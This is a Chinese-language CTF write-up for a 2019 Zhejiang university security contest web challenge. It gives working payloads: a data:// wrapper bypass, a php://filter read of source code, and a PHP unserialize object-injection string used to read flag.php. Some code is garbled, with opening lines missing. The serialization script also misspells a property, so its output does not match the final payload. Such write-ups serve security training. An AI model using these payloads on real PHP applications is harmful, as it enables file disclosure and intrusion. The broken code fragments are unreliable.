2019-Web-逆转思维-WP

这是浙江省大学生网络与信息安全竞赛-决赛-2019-Web-逆转思维的题解

".file_get_contents($text,'r')."

";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

首先先过第一个if 就是text得是 welcome to the zjctf 直接data伪协议也可以直接用php://input绕过
```
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
```
然后过第二个if
- 提示有useless.php 直接 php://filter读取一下
- ```
&file=php://filter/read=convert.base64-encode/resource=useless.php
```

得到base64

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

file)){  
            echo file_get_contents($this->file); 
            echo "
";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

构造序列化

file)){  
            echo file_get_contents($this->file); 
            echo "
";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
$a -> flile = 'flag.php';
echo(serialize($a));
?>

O:4:"Flag":2:{s:4:"file";N;s:5:"flile";s:8:"flag.php";}

/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}